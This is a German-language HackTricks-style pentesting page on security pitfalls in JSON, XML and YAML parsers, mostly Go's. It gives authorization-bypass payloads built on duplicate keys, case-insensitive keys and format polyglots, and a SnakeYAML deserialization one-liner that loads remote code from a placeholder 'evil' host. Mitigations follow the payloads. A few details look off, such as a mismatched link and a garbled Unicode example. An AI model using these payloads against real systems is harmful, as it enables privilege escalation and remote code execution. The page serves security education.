hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

165 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Die folgenden Probleme wurden im Go JSON festgestellt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in [**diesem Blogbeitrag**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) veröffentlicht.
Gos JSON-, XML- und YAML-Parser haben eine lange Liste von Inkonsistenzen und unsicheren Standardeinstellungen, die ausgenutzt werden können, um **Authentifizierung zu umgehen**, **Berechtigungen zu eskalieren** oder **sensible Daten zu exfiltrieren**.
### (Un)Marshaling Unerwarteter Daten
Das Ziel ist es, Strukturen auszunutzen, die es einem Angreifer ermöglichen, sensible Felder zu lesen/schreiben (z. B. `IsAdmin`, `Password`).
- Beispielstruktur:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Häufige Schwachstellen
1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin geparst):
```go
type User struct {
Username string
}
```
Nutzlast:
```json
{"Username": "admin"}
```
2. **Falsche Verwendung von `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Nutzlast:
```json
{"-": true}
```
✔️ Richtige Methode, um ein Feld vom (De)Serialisieren abzuhalten:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser-Differenzen
Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel:
- CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel
- 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz
- GitLab 2025 SAML-Umgehung über XML-Eigenheiten
**1. Doppelte Felder:**
Go's `encoding/json` nimmt das **letzte** Feld.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Andere Parser (z. B. Javas Jackson) können die **erste** nehmen.
**2. Groß-/Kleinschreibung:**
Go ist nicht case-sensitiv:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Sogar Unicode-Tricks funktionieren:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Cross-Service-Mismatch:**
Stellen Sie sich vor:
- Proxy, geschrieben in Go
- AuthZ-Dienst, geschrieben in Python
Angreifer sendet:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python sieht `UserAction`, erlaubt es
- Go sieht `AdminAction`, führt es aus
### Datenformatverwirrung (Polyglots)
Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.:
- **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte.
Angreifer kontrolliert:
- Den `Accept: application/json` Header
- Teilweise Kontrolle des JSON-Körpers
Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten Identität.
- Ausgeklügelte Payload:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
- **Go JSON** Parser: `Action_2` (nicht groß-/kleinschreibungsempfindlich + letzter gewinnt)
- **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich)
- **XML** Parser: parst `"Action_3"` innerhalb des Strings
---
## Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025)
> Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist nicht nur ein Go-Problem.
### SnakeYAML Deserialisierung RCE (CVE-2022-1471)
* Betroffen: `org.yaml:snakeyaml` < **2.0** (verwendet von Spring-Boot, Jenkins usw.).
* Grundursache: `new Constructor()` deserialisiert **willkürliche Java-Klassen**, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden.
* One-Liner PoC (öffnet den Rechner auf dem anfälligen Host):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Fix / Minderung:
1. **Upgrade auf ≥2.0** (verwendet standardmäßig `SafeLoader`).
2. Bei älteren Versionen explizit `new Yaml(new SafeConstructor())` verwenden.
### libyaml Double-Free (CVE-2024-35325)
* Betroffen: `libyaml` ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird).
* Problem: Das zweimalige Aufrufen von `yaml_event_delete()` führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können.
* Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte **0.2.6** ausgeliefert, das den Zeiger defensiv null-freigibt.
### RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684)
* Betroffen: Tencent **RapidJSON** vor dem Commit `8269bc2` (<1.1.0-patch-22).
* Fehler: In `GenericReader::ParseNumber()` lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.
---
### 🔐 Minderung (Aktualisiert)
| Risiko | Fix / Empfehlung |
|--------------------------------------|---------------------------------------------------------|
| Unbekannte Felder (JSON) | `decoder.DisallowUnknownFields()` |
| Duplizierte Felder (JSON) | Kein Fix in der stdlib validieren mit [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) | Kein Fix validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben |
| XML-Garbagedaten / XXE | Verwenden Sie einen gehärteten Parser (`encoding/xml` + `DisallowDTD`) |
| YAML unbekannte Schlüssel | `yaml.KnownFields(true)` |
| **Unsichere YAML-Desserialisierung** | Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML 2.0 |
| libyaml 0.2.5 Double-Free | Upgrade auf **0.2.6** oder distro-gepatchte Version |
| RapidJSON <gepatchter Commit | Kompilieren Sie gegen die neueste RapidJSON (≥Juli 2024) |
## Referenzen
- Baeldung Behebung von CVE-2022-1471 mit SnakeYAML 2.0
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}